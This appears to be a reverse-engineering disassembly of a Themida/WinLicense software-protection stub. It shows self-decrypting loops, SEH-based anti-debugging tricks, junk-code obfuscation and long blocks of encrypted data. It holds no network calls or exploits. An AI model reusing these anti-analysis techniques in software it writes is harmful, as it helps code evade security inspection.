arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 62B370Ah
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_53FDC9:				; CODE XREF: sub_53FDA3+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_53FDC9
		mov	[ebp+var_84], 0
		lea	edi, [edx+62B362Bh]
		lea	esi, [ebp+var_80]


loc_53FDF9:				; CODE XREF: sub_53FDA3+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_53FE05:				; CODE XREF: sub_53FDA3+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_53FE05
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_53FDF9
		popa
		leave
		retn	4
sub_53FDA3	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_53FE43
; ---------------------------------------------------------------------------


loc_53FE3F:				; CODE XREF: Themida_:0053FE46j
		inc	dword ptr [ebp-4]
		inc	esi


loc_53FE43:				; CODE XREF: Themida_:0053FE3Dj
		cmp	byte ptr [esi],	0
		jnz	short loc_53FE3F
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_53FED4
; ---------------------------------------------------------------------------


loc_53FE55:				; CODE XREF: Themida_:0053FED7j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_53FECB
; ---------------------------------------------------------------------------


loc_53FE5E:				; CODE XREF: Themida_:0053FECFj
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_53FEB8
; ---------------------------------------------------------------------------


loc_53FE6E:				; CODE XREF: Themida_:0053FEBCj
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_53FE90
		cmp	bl, 39h
		ja	short loc_53FE90
		sub	bl, 30h
		jmp	short loc_53FEB2
; ---------------------------------------------------------------------------


loc_53FE90:				; CODE XREF: Themida_:0053FE84j
					; Themida_:0053FE89j
		cmp	bl, 61h
		jb	short loc_53FEA2
		cmp	bl, 66h
		ja	short loc_53FEA2
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_53FEB2
; ---------------------------------------------------------------------------


loc_53FEA2:				; CODE XREF: Themida_:0053FE93j
					; Themida_:0053FE98j
		cmp	bl, 41h
		jb	short loc_53FEB2
		cmp	bl, 46h
		ja	short loc_53FEB2
		sub	bl, 41h
		add	bl, 0Ah


loc_53FEB2:				; CODE XREF: Themida_:0053FE8Ej
					; Themida_:0053FEA0j ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_53FEB8:				; CODE XREF: Themida_:0053FE6Cj
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_53FE6E
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_53FEC8
		mov	eax, [ebp-10h]
		stosb


loc_53FEC8:				; CODE XREF: Themida_:0053FEC2j
		inc	dword ptr [ebp-8]


loc_53FECB:				; CODE XREF: Themida_:0053FE5Cj
		cmp	dword ptr [ebp-8], 2
		jb	short loc_53FE5E
		add	edx, 4


loc_53FED4:				; CODE XREF: Themida_:0053FE53j
		cmp	edx, [ebp-4]
		jb	loc_53FE55
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_53FEE7:				; CODE XREF: start+6CCBAj
		mov	ecx, 7000h
		lea	edi, [ebp+62B3850h]


loc_53FEF2:				; CODE XREF: start+6CEE2j
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_53FEF2
		mov	eax, 48692121h
		mov	edx, 0F00D3000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+62B3988h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		push	0
		push	esi
		call	sub_53FF2E
		and	[esi-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_53FF2E	proc near		; CODE XREF: start+6CF12p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_53FF2E	endp

; ---------------------------------------------------------------------------
		dw 35E8h
		dd 607DAE8Eh, 0EE860h, 27FE0000h, 1DC50D3h, 0D1C4D97Eh
		dd 32498C27h, 5E95Fh, 91EB0000h, 61D8B31Bh, 75F08166h
		dd 0CB806138h, 66C22B93h, 5D80F381h, 0FFF00025h, 0CE8FFh
		dd 63D0000h, 52E92E43h,	0D1D78072h, 13E9E670h, 0A1000000h
		dd 0BFBC0B4Eh, 16BF8E74h, 7D54C957h, 7AFB315Eh,	8B5BB47Ch
		dd 66FF33CAh, 5A4D3881h, 0B70F0E75h, 0D0033C50h, 45503A81h
		dd 8740000h, 10002Dh, 0E3EB4700h, 58F64h, 83000000h, 958D04C4h
		dd 62B399Bh, 35FF6452h,	0
		dd 258964h, 3000000h, 10002DC1h, 708B0000h, 0E68104h, 81FFFF00h
		dd 0FEh, 8B037680h, 0C0331C70h,	7432F883h, 3E81661Fh, 9745A4Dh
		dd 0EE81h, 0EB400001h, 3C7E8BEBh, 3F81FE03h, 4550h, 0E8EB4474h
		dd 58F64h, 83000000h, 0C36104C4h, 244C8B51h, 0B0A98110h
		dd 0
		dd 59000010h, 51C3C033h, 10244C8Bh, 0E855h, 815D0000h
		dd 2B39A6EDh, 64858D06h, 89062B39h, 0B881h, 33595D00h
		dd 6496C3C0h, 58Fh, 0C4830000h,	10E85104h, 77000000h, 6C0FC0A9h
		dd 0B60ECBC2h, 0FC63F092h, 0E83205BEh, 14h, 1BFFC145h
		dd 68387911h, 583F0E72h, 7F98808Dh, 3AE8C79Bh, 665B5B5Bh
		dd 984DD381h, 60D98C66h, 806172B4h, 0BB6604E1h,	0C90A5FCDh
		dd 38850Fh, 0C7F80000h,	2B0A0185h, 106h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
		dd 63F7FE99h, 0B94CF075h, 0E9DBBF0Fh, 0Fh, 85C7DF8Bh, 62B0A01h
		dd 0
		dd 89F8FA8Ah, 2B0B1D85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 0C47FFB54h, 0EB8065AFh
		dd 18D3800Fh, 1BDD8589h, 8E8062Bh, 40000000h, 6E95B527h
		dd 0B8F7EE83h, 7B48821Dh, 0F1E5805Bh, 6AF3C381h, 0B70F0000h
		dd 8BF633FEh, 8B663314h, 0AAEA81C7h, 0E87DB999h, 11h, 10303C2Fh
		dd 56C01A68h, 0DF7865C9h, 3153DD44h, 0EA815956h, 2F14689Fh
		dd 0BEE5E881h, 0EA813EF5h, 36BF17A1h, 0AE9h, 2F02C700h
		dd 48AA162h, 89C96287h,	81513314h, 22B796E8h, 0EE815919h
		dd 0EB0AF41h, 664BE981h, 0C6810E89h, 0EB0AF3Dh,	11E8h
		dd 334BEC00h, 0B958DBBAh, 92025079h, 8B630DA4h,	59F811C0h
		dd 95E8FE81h, 850FFFFFh, 1Dh, 5999B156h, 35E9h,	15311000h
		dd 5D933AF1h, 4DF57707h, 0A4E0ECC3h, 0F389441Bh, 58A0FBFh
		dd 66000000h, 47D8D781h, 0FFFF4EE9h, 4EB1A8FFh,	0DFBE761Bh
		dd 5808DB4Ah, 8E8909DCh, 11E868BAh, 52000000h, 0E14DF3D7h
		dd 3EAD5B24h, 168D3EF5h, 6585B015h, 6FDA8166h, 81F55EADh
		dd 69C1C6h, 6CBFF800h, 817A9A17h, 9A0D26F7h, 0B70F537Ah
		dd 36FF5ACEh, 58DA8B66h, 81CAB70Fh, 7808C8C0h, 0CB816618h
		dd 0F0818FC5h, 1BC88514h, 0E881F38Ah, 588FBE4Bh, 8975E680h
		dd 2840F06h, 8A000000h,	1EE83ECh, 0A2C98166h, 4E4E4E2Ah
		dd 3FBC8ABBh, 850F4F28h, 17h, 2890Fh, 0DA8B0000h, 1BE9h
		dd 67674300h, 0AA77865Bh, 80C1558Eh, 9BE951CEh,	1FFFFFFFh
		dd 1D791C9Ah, 3C9B46CCh, 21504EBh, 13E90000h, 29000007h
		dd 2B17159Dh, 0B8F56006h, 0
		dd 24548BFCh, 899D3128h, 89062B1Ch, 2B124585h, 68F0F06h
		dd 89000000h, 2B0D31BDh, 3CBE06h, 8D890000h, 62B273Dh
		dd 0AE9h, 0E4388500h, 0AB10498Ah, 3AE72C8h, 0F8242474h
		dd 7E9AD66h, 5F000000h,	84BD3BD0h, 31608DD2h, 2B0851B5h
		dd 0AE806h, 0DCD70000h,	0F27F799Eh, 97FFED7Ah, 1CD59589h
		dd 615E062Bh, 24244403h, 68A0Fh, 0BD890000h, 62B2C7Dh
		dd 6890F60h, 8B000000h,	2B27498Dh, 60906106h, 0C38B6660h
		dd 4EF4BB66h, 0E9506161h, 13h, 3AAF936Ch, 0AC54B2A1h, 82D82538h
		dd 1F581198h, 90D2773Eh, 0C8E0Fh, 8A0F0000h, 6,	800Fh
		dd 408B0000h, 0F9B58978h, 3062B10h, 89282444h, 2B25D195h
		dd 18408B06h, 6830Fh, 0B5310000h, 62B2FDDh, 0C9B52940h
		dd 89062B2Ch, 2B3C1685h, 0CE96006h, 5E000000h, 0E229582Bh
		dd 8873D21Ah, 804DAB93h, 586195F2h, 35C18D89h, 708B062Bh
		dd 0A8E0F78h, 60000000h, 880F6160h, 0
		dd 1CC68361h, 1D9D0960h, 0BA062B1Bh, 1E3614A4h,	24740361h
		dd 9D336024h, 62B330Dh,	34559D31h, 8D61062Bh, 2B0039BDh
		dd 79BD8906h, 0AD062B1Ch, 0CE9h, 386A9900h, 52A4A9C3h
		dd 0B8B7C3Fh, 244403BBh, 6820F24h, 60000000h, 5E53D88Bh
		dd 820FAB61h, 0Ch, 6840Fh, 85890000h, 62B2185h,	6D5BD8Dh
		dd 9D89062Bh, 62B1581h,	0EE9ADh, 15350000h, 8DBDFADDh
		dd 0D1600813h, 7126F7CBh, 24244403h, 68B0FF5h, 31000000h
		dd 2B2B65BDh, 870F5006h, 1Ch, 0FE95250h, 53000000h, 0B6C2D9D4h
		dd 0FE5EA07Eh, 0A62ED66Eh, 310F41B8h, 585A6160h, 0F240489h
		dd 1481h, 0FE900h, 27AD0000h, 87527C98h, 0EF54F3D0h, 533DE28Ah
		dd 8960AB11h, 2B1CDDBDh, 0FE85106h, 63000000h, 0E0F697EEh
		dd 226ACBCEh, 7E6B9DE7h, 595A8903h, 0CDBD8D61h,	1062B0Dh
		dd 2B24A99Dh, 8D0FAD06h, 16h, 11E9h, 0E3BC2F00h, 4AA6E01Eh
		dd 2037FB4Ch, 0C64F92CFh, 44034E1Bh, 0B5892824h, 62B29EDh
		dd 0AE9ABh, 0D2D80000h,	0E6AD53B9h, 74CE5304h, 83B3605Eh
		dd 2C058D89h, 0FF61062Bh, 2B3C168Dh, 16BD8306h,	62B3Ch
		dd 44C71075h, 1C24h, 0B58D0000h, 62B40DAh, 0AD56E6FFh
		dd 28244403h, 8ADF8B97h, 2B332D85h, 74C08406h, 75073A04h
		dd 0C032574Ch, 5EFD75AEh, 0FC52FB2Bh, 8B49C933h, 33C033D1h
		dd 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah, 66EBD166h,	973D8D1h
		dd 50413566h, 49F38166h, 75CEFE54h, 33C833EBh, 0D5754FD3h
		dd 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h, 74D03B5Ah, 0C6835E0Fh
		dd 4585FF04h, 0E9062B12h, 0FFFFFF6Fh, 0A8E0F5Eh, 0E9000000h
		dd 5, 0CDB77789h, 5B5892Eh, 8B062B33h, 2B124585h, 0D8F0F06h
		dd 60000000h, 0A009C0B8h, 6D9D8958h, 61062B06h,	0B529E0D1h
		dd 62B24C9h, 0CD8503F5h, 60062B0Dh, 11E9h, 2F135A00h, 0AC9B96CDh
		dd 0D8CB2411h, 0DDF60AF8h, 8B66881Dh, 0F62B61CBh, 0C820Fh
		dd 8C0F0000h, 6, 5FDBD29h, 8960062Bh, 2B21F585h, 0C2816606h
		dd 9661542Ch, 5E9h, 75522A00h, 0AD66CFE9h, 9C19529h, 0B531062Bh
		dd 62B28C1h, 0F02E0C1h,	0E85h, 9E900h, 0E8DE0000h, 4409ABBh
		dd 3450185h, 2B003985h,	0C9852906h, 96062B19h, 810FADF8h
		dd 0Ch,	6810Fh,	9D890000h, 62B25D5h, 24244C8Bh,	12E9h
		dd 82E60300h, 2AB6D626h, 0DE9A9108h, 0B248E4C6h, 0F800B2B5h
		dd 24244403h, 0BBD8589h, 4489062Bh, 96F81C24h, 1870F60h
		dd 0FC000000h, 1A898D89h, 0AC61062Bh, 89C932F5h, 2B2B7D95h
		dd 89C1FE06h, 2B0D7985h, 0FD0D006h, 9D83h, 14870F00h, 0E9000000h
		dd 0Fh,	0D4A184FAh, 0B6F15927h,	0D80D83A3h, 0D00BE6DAh
		dd 7B830FD0h, 1000000h,	2B328995h, 0FD0D006h, 6D82h, 0C800F00h
		dd 0F000000h, 68Ah, 0B9BD0100h,	0D0062B26h, 53820FD0h
		dd 60000000h, 0B2CB8B66h, 0C9FE618Dh, 0FF9F890Fh, 9D09FFFFh
		dd 62B01B5h, 6020C483h,	8BD8BF0Fh, 44C761C7h, 0FC24h, 0B8F50000h
		dd 1, 0B4B15260h, 8D8D615Fh, 62B7186h, 0C8C0Fh,	8E0F0000h
		dd 6, 2C3D9589h, 0E1FF062Bh, 18B59D01h,	85C6062Bh, 62B332Dh
		dd 0A18D8900h, 60062B28h, 8995BF66h, 6161D88Bh,	0A810Fh
		dd 0B9600000h, 14E3D669h, 61C7B70Fh, 0F0008C2h,	681h, 19B58900h
		dd 96062B2Ch, 19860Fh, 840F0000h, 13h, 0EE9h, 2D076300h
		dd 1B0C63C0h, 0BFD691ACh, 50D0BBEEh, 0CE9h, 9EF83C00h
		dd 0ADF3B73Dh, 9D5D6186h, 666096D9h, 662CA8BFh,	0A30CD381h
		dd 0EEB58961h, 9062B42h, 2B2BF995h, 0E8D8906h, 60062B43h
		dd 0EA8AF98Bh, 0DFB58D61h, 0E9062B41h, 13h, 0BE3DCF51h
		dd 0A2BA8854h, 3BA683E6h, 7B7B3E3Bh, 0F5E9786h,	68Fh, 0F5BD0100h
		dd 8D062B1Bh, 5B8EA185h, 8D896000h, 62B07D1h, 0A8F0Fh
		dd 5E90000h, 55000000h,	0F9DC28A3h, 0D0FFF861h,	271D8D89h
		dd 0F5E062Bh, 78Ah, 1890F00h, 0F8000000h, 61BBB660h, 0A8D0FC3h
		dd 60000000h, 0F7816160h, 480B94D8h, 41852961h,	8B062B34h
		dd 2B42EEB5h, 71950106h, 89062B34h, 2B197DB5h, 0E8D8B06h
		dd 60062B43h, 1BD9BD89h, 8960062Bh, 2B179995h, 85BD8B06h
		dd 61062B2Dh, 0B8666061h, 858B3B04h, 62B2641h, 0FC02B61h
		dd 18Ah, 9D01F800h, 62B2C9Dh, 850FD98Bh, 6, 1D6D8D29h
		dd 0E9F8062Bh, 82h, 45B58B60h, 61062B11h, 8E0F2632h, 6
		dd 19E19529h, 2B2062Bh,	2E899589h, 9E9062Bh, 0
		dd 8BAAA216h, 7F5FB749h, 23E9h,	0C232FC00h, 1D7A05F8h
		dd 9D098A75h, 62B28A9h,	0D3F5CC8Ah, 4235F8C8h, 0F898D108h
		dd 9589CAFEh, 62B2759h,	850FD20Ah, 0FFFFFFD6h, 0F0BF0F60h
		dd 8536BE60h, 9529278Fh, 62B0FB9h, 94B6161h, 2B0A29BDh
		dd 8A0F4606h, 6, 6A18589h, 0DB0B062Bh, 0FF7E850Fh, 8F0FFFFFh
		dd 0Ch,	6860Fh,	0B5890000h, 62B2AF9h, 10E9CFh, 84570000h
		dd 978D792Ch, 0A0730A8Fh, 1C76193Dh, 0FCB5h, 11E9h, 0CA55E100h
		dd 0B797E517h, 0B52DFAEDh, 9F9C7F83h, 5D63h, 2CE59D89h
		dd 62Bh, 0FE9h,	0AFBF1D00h, 0F73941B6h,	0E4FEB4h, 1E73E806h
		dd 820F0000h, 6, 8ADE8B60h, 858D61D9h, 62B3C25h, 1CC5BD29h
		dd 8589062Bh, 62B1C29h,	4840Fh,	0F5600000h, 858D61F8h
		dd 62B410Fh, 0C58589FCh, 0EB062B32h, 14h, 3 dup(0)
		dd 8800h, 29858D00h, 89062B44h,	2B2D1585h, 69BD8306h, 62B43h
		dd 12C840Fh, 85C60000h,	62B332Dh, 3BD6856h, 481BF0Dh, 12697C24h
		dd 1DB5FF15h, 8D062B0Bh, 2B3C2585h, 89D0FF06h, 2B435D85h
		dd 2D85C606h, 56062B33h, 9EC6268h, 243481D4h, 48A15430h
		dd 0B1DB5FFh, 858D062Bh, 62B3C25h, 8589D0FFh, 62B4361h
		dd 4E8046Ah, 0
		dd 50000010h, 424448Bh,	4489008Bh, 8B580424h, 2B436D85h
		dd 1F40506h, 0E0C10000h, 4895002h, 0FF006A24h, 2B436195h
		dd 65858906h, 8B062B43h, 0FFFFB8D8h, 95FFFFFFh,	62B2D15h
		dd 95FFC38Bh, 62B2D15h,	8DE9h, 69BD8300h, 62B43h, 1850Fh
		dd 57C30000h, 4365BD8Bh, 83AB062Bh, 2B436585h, 0C35F0406h
		dd 4369BD83h, 0F00062Bh, 185h, 8360C300h, 2B4365ADh, 9D8B0406h
		dd 62B4365h, 0FFFC7B83h, 1D850Fh, 22680000h, 8192E069h
		dd 16DE2404h, 6A6D20h, 95FF33FFh, 62B435Dh, 26E9C361h
		dd 0E8000000h, 4, 8000h, 24448B50h, 89008B04h, 58042444h
		dd 33FF006Ah, 435D95FFh, 0AD83062Bh, 62B4365h, 0FFA8E904h
		dd 0E948FFFFh, 9D3h, 18D9B3D6h,	0B0DA3DDBh, 1D08908Ch
		dd 0E3F46E76h, 129D9583h, 32E0791Eh, 0D668F54Dh, 0A3FA4727h
		dd 15D9958Bh, 0B8D67FD0h, 4E5A879Eh, 0A6F37C67h, 71F2DE8Ch
		dd 26EA736Eh, 8464F450h, 0A5F84727h, 15D99684h,	0A5C97FCAh
		dd 505A9884h, 0B1E8627Bh, 1299D098h, 22FD3F5Ah,	0D629E550h
		dd 0A5ED0926h, 0CD98090h, 0A5C830CCh, 54988Ah, 63h dup(0)
		dd 11D9B3D6h, 0A3C631D1h, 4D5A8784h, 0B1E0606Ch, 14D89D80h
		dd 25AF6C5Fh, 8426F446h, 0A4E14634h, 98BD281h, 0B9C631D0h
		dd 5313D58Ch, 0B6E8763Eh, 58BD093h, 2AEA6B4Dh, 0F4459B0Dh
		dd 0B9F54C3Eh, 9D9DE80h, 0B6C033D0h, 4913D58Fh,	0ACF5693Eh
		dd 1995D08Ch, 3EFD7053h, 0C026F003h, 0B9F15B72h, 88B9391h
		dd 0A2C0269Eh, 4F0AD599h, 0A2F56871h, 0DE8Ch, 48h dup(0)
		dd 1FD9B3D6h, 0BCCC3ECCh, 4E5D878Eh, 0ACE87B3Eh, 1D90D08Dh
		dd 22ED3F4Dh, 0C268FF46h, 0AEFA5C3Dh, 128C80C5h, 0B0C136D0h
		dd 1D149CCBh, 0B1F26067h, 0F8183C1h, 69E27A4Ah,	0C8189C29h
		dd 0AFE74837h, 128CD2C9h, 0B3CE30D2h, 1D0E9CCBh, 0AEE87D78h
		dd 119D9DC1h, 67F66D51h, 842CFF42h, 0BEE74C20h,	5C8D8084h
		dd 0A5DA30C7h, 520885CBh, 0AEE67D79h, 0CFh, 61h	dup(0)
		dd 1090B4D6h, 0B8CC7FDBh, 4D0F8799h, 0E2E36A6Ah, 14ACD0CFh
		dd 37AF6C57h, 0D62FFE51h, 0A2B44433h, 1ED98184h, 0F7C13ADBh
		dd 54149486h, 0A2EB7A6Eh, 5C9C9595h, 67EB715Fh,	0C631F04Eh
		dd 0A3992337h, 5C8AD591h, 0B2C931D7h, 591F8188h, 0E3FE6D3Eh
		dd 15AED080h, 67FC6A4Ch, 0C768E34Ch, 0A1F74820h, 5CD79680h
		dd 0A4C637EAh, 511393CBh, 0ACF02F7Bh, 5C8CD78Fh, 2CFD7049h
		dd 0DD26F003h, 0AFE6463Fh, 0CBh, 0E0h dup(0)
aWlnumdllsprot	db 'WLNumDLLsProt',0
a0		db '0',0
		dd 8 dup(0)
		dd 78450000h, 53207469h, 75746174h, 203D2073h, 6425h, 0
		dd 0E9000000h, 2C86h, 8999D8Bh,	8B0F062Bh, 1, 360FCF9h
		dd 2B32AD95h, 0CBB70F06h, 0B2C08B61h, 0F9BD83BFh, 62B01h
		dd 0BD830975h, 62B1689h, 50137400h, 0B8C08B53h,	1, 0BE179D8Dh
		dd 0D3FF062Dh, 0BD83585Bh, 62B1689h, 50117400h,	1B853h
		dd 9D8D0000h, 62DBCC8h,	585BD3FFh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 8BC35141h, 89798A74h, 2B1C25BDh
		dd 2D952906h, 0F062B05h, 88Bh, 2800F00h, 0B2000000h, 5BD28168h
		dd 8B6D85C5h, 0D98529C0h, 0F8062B0Ch, 3309BD83h, 0F00062Bh
		dd 1D084h, 66606000h, 8B2523BBh, 2B10E585h, 9E96106h, 82000000h
		dd 1A0AC4BCh, 4BEF3B6Ah, 15BD8361h, 62B0Bh, 1A7840Fh, 810F0000h
		dd 12h,	0DE9h, 9AECFD00h, 8F26ED6Bh, 4E027423h,	6A6027E6h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 3E2DC353h, 79CF6D75h, 0B15858Bh, 8589062Bh
		dd 62B203Dh, 3E805h, 9FDBBA00h,	8B502274h, 240489DEh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 40C35242h, 4730E94Ch
		dd 0E8FA6679h, 4E76858Dh, 6A062Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 90090BC3h, 9050D38Bh
		dd 8DDFBF0Fh, 2B4E5485h, 0D6DA8106h, 0BB446346h, 6AAD9D1Bh
		dd 66606090h, 0FD31AB9h, 8Bh, 60606100h, 615E5761h, 0D08B5061h
		dd 0FF17B690h, 2B2C3995h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0F8F4C088h
		dd 8DFD4B66h, 0CC483D3h, 1890Fh, 8DF50000h, 2B4E5485h
		dd 3D958B06h, 50062B11h, 66525057h, 0F87D9BAh, 5A5B5331h
		dd 4895A58h, 95958B24h,	0E8062B1Eh, 0Dh, 0C1B9D08Dh, 71F070EBh
		dd 3C9D7EDDh, 1D0FBB1Eh, 6A5A3A83h, 0C880F02h, 0F000000h
		dd 687h, 0AD9D8B00h, 0FF062B34h, 6AED1495h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 666A9EEFh, 0E5F2E381h, 53006A61h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0CE21E0CFh
		dd 319DD17Ah, 2B068D8Dh, 8785C706h, 1062B4Eh, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 0BBCAC352h, 0A5AA9C3Ch, 9D337764h, 62B24D9h
		dd 17860Fh, 0FE80000h, 0DA000000h, 26216C0h, 0E3BC2FFCh
		dd 4AA6E01Eh, 61B7FB4Ch, 3489505Ah, 0C9950B24h,	89062B18h
		dd 2B4E38B5h, 0B016BB06h, 0BD8312F9h, 62B0A01h,	75850F01h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 0F2AC352h, 0F883DEB7h,	4D850F05h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 5133C355h, 36E4548Ah, 8BC305C9h
		dd 2B2A0D95h, 0EE96006h, 89000000h, 0E468BA8Eh,	0BA26DEFAh
		dd 232E9D50h, 0F7BF0F85h, 0B861h, 85890000h, 62B0D49h
		dd 1AE9BD83h, 0F00062Bh, 1C84h,	0D9B58900h, 60062B2Ch
		dd 0B219D89h, 95FF062Bh, 62B1AE9h, 0A9DAEA81h, 8B612878h
		dd 89BD83D1h, 62B2Ch, 12840Fh, 7E90000h, 73000000h, 0E02D2768h
		dd 0B8EE5Fh, 0FC000000h, 17C68060h, 2B39858Bh, 0BB66062Bh
		dd 57604D87h, 6E9h, 0FF221200h,	5EDCFAF2h, 836155B4h, 665002C0h
		dd 5A14C8BBh, 4E308589h, 9D23062Bh, 62B1FB9h, 0C6FBCB80h
		dd 0BF0FFF00h, 2D85C6D8h, 53062B33h, 0BE8h, 39277400h
		dd 7180FCEDh, 0C69C38CDh, 5E9h,	8AFD3600h, 0E85AD468h
		dd 4, 0FCB148D8h, 6650FC8Ah, 8BA30FBBh,	0E9042444h, 11h
		dd 0D39A04BFh, 0F16C7455h, 9A0E27F3h, 94A094A5h, 66008B7Dh
		dd 898F4FBAh, 66042444h, 58531FBAh, 0BEA8BB66h,	1BDDB5FFh
		dd 8B66062Bh, 0EB858DDFh, 6A062E83h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 215C351h
		dd 0C4D1E365h, 0DFC38089h, 8FF28166h, 0E9D0FF27h, 12h
		dd 99F9614Ah, 0B73FD324h, 9EECE105h, 9110B09h, 85899494h
		dd 62B2945h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	8BC35141h, 7E8E85ABh, 0BB669C48h, 0BD83E680h, 62B1535h
		dd 0D850F01h, 6A000001h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0DC9CC352h,	13E9ADh
		dd 0D24F0000h, 0B7CFEB56h, 0F138E895h, 537F2047h, 0EE04D3DBh
		dd 91B761F2h, 0AC28166h, 2D85C687h, 45062B33h, 18B1B589h
		dd 0D38A062Bh, 0CF9F5C68h, 0E9606065h, 0Fh, 9B1C5CA7h
		dd 94718982h, 1BB4829Ch, 665B32B4h, 5061D78Bh, 0FB8B6652h
		dd 585A310Fh, 24048161h, 74909966h, 210D958Bh, 0B5FF062Bh
		dd 62B1BDDh, 0FE8h, 0BFE4500h, 0D1406D8Ch, 0A2567BABh
		dd 198D936Ah, 0F1BB5BF5h, 8D44F789h, 2E83EB85h,	6BBA6606h
		dd 6AD0FF87h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 989BC355h, 9006A90h, 2B1C65B5h
		dd 0E0D78006h, 6AD0FFh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 24FD40C3h, 803B6877h, 1604BF7h
		dd 2B1F5D8Dh, 0D8D0906h, 61062B1Dh, 1B39BD83h, 0F01062Bh
		dd 0DB85h, 0F9958B00h, 8B062B06h, 2B2B3985h, 0ED958B06h
		dd 0E9062B2Ah, 88h, 2775958Bh, 8B90062Bh, 515150D0h, 310F5250h
		dd 5A5B585Ah, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 0D43AE8C7h, 0D8FAB6A6h, 0C2813571h
		dd 6D18B0C1h, 0EE9h, 18F69F00h,	8BB39CF3h, 0AEC082F0h
		dd 6AB7341Fh, 28A0F14h,	0B7000000h, 4595FFCFh, 80062B29h
		dd 0E8587EF6h, 0Fh, 9D016D7Fh, 0BA621E55h, 0E2C026D4h
		dd 8B196ECBh, 2B1FC995h, 9D8B5B06h, 62B272Dh, 0F003880h
		dd 0FFFF7585h, 0C649B3FFh, 6A0100h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 140C4EC3h
		dd 0C999F4FFh, 68A0Fh, 9D8B0000h, 62B24A5h, 0D18B6661h
		dd 5BDE8B51h, 5C5BD83h,	0F00062Bh, 7B84h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
		dd 3C87EE53h, 0D98B6628h, 14E9FF6Ah, 74000000h,	8CA8019Eh
		dd 4C069C78h, 133A71F7h, 555E790Fh, 0FF30E6D1h,	2B294595h
		dd 69958B06h, 0E9062B0Dh, 0FFFFFFD4h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 0F4C35646h,	0DBEB22C6h, 1599D8Bh
		dd 9D0B062Bh, 62B1875h,	5C585C7h, 1062Bh, 95330000h, 62B2971h
		dd 4E3C8589h, 8BF5062Bh, 525090D1h, 0A81C5BAh, 0F310F5Ah
		dd 284h, 5AD98B00h, 830F5058h, 5, 7C193BBBh, 9D8B9021h
		dd 62B0545h, 57006A60h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 0AF24355Eh, 754363C5h, 6A056Ah, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
